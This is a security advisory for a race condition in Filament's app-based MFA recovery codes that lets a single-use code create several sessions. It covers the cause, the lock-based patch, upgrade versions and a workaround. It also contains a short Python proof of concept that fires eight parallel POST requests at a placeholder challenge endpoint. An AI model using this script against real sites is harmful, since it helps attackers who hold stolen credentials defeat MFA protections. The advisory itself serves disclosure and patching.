CVE-2026-48505: Filament MFA Recovery Code Race Condition
Filament's app-based MFA recovery codes can be reused across multiple sessions by submitting the same code in parallel HTTP requests, defeating the single-use guarantee.

The problem
Filament (>= 4.0.0, < 4.11.5) does not serialize the read-validate-invalidate sequence for app-based MFA recovery codes. Two or more concurrent login requests carrying the same recovery code each read the stored list before either one writes the invalidation back, so both pass validation.
An attacker who already holds the target user's password and one or more recovery codes can fire parallel requests to the MFA challenge endpoint. Each code yields multiple authenticated sessions instead of one, materially widening the attacker's post-compromise window.
Email-based MFA is not affected. The flaw only surfaces when the recoverable() feature is enabled.
Proof of concept
# Fire N concurrent POST requests to the MFA challenge endpoint,
# all carrying the same single-use recovery code.
# Python example using threading:
import threading, requests
SESSION_COOKIE = "<laravel_session_from_password_auth_step>"
URL = "https://target.example.com/admin/two-factor-challenge"
CODE = "AAAA-BBBB" # one recovery code obtained by the attacker
def submit():
requests.post(URL,
data={"code": CODE, "_token": "<csrf_token>"},
cookies={"laravel_session": SESSION_COOKIE},
allow_redirects=False)
threads = [threading.Thread(target=submit) for _ in range(8)]
for t in threads: t.start()
for t in threads: t.join()
# Result: multiple 302 redirects to the authenticated dashboard,
# each establishing a separate authenticated session.Before the patch, the recovery-code handler read the stored code list, checked whether the submitted code was present, and then wrote the updated list (with the code removed) as three separate, non-atomic steps. Under concurrent load, every racing request read the original list before any of them wrote the removal, so all passed the check.
The fix wraps the entire read-validate-write sequence in a Laravel cache lock keyed to the authenticating user. This serializes all parallel submissions at the application layer, regardless of the underlying database driver, making the check-then-act atomic. The patch also explicitly documents that the file, Redis, Memcached, database, and DynamoDB cache stores all provide the necessary cross-worker locking, while the array store (testing only) does not.
The fix
Upgrade to filament/filament >= 4.11.5 (v4 branch) or >= 5.6.5 (v5 branch). No configuration change is required after upgrading. If you cannot upgrade immediately, temporarily disabling the recoverable() option on AppAuthentication removes the vulnerable code path entirely.
Reported by Dan Harrin (danharrin).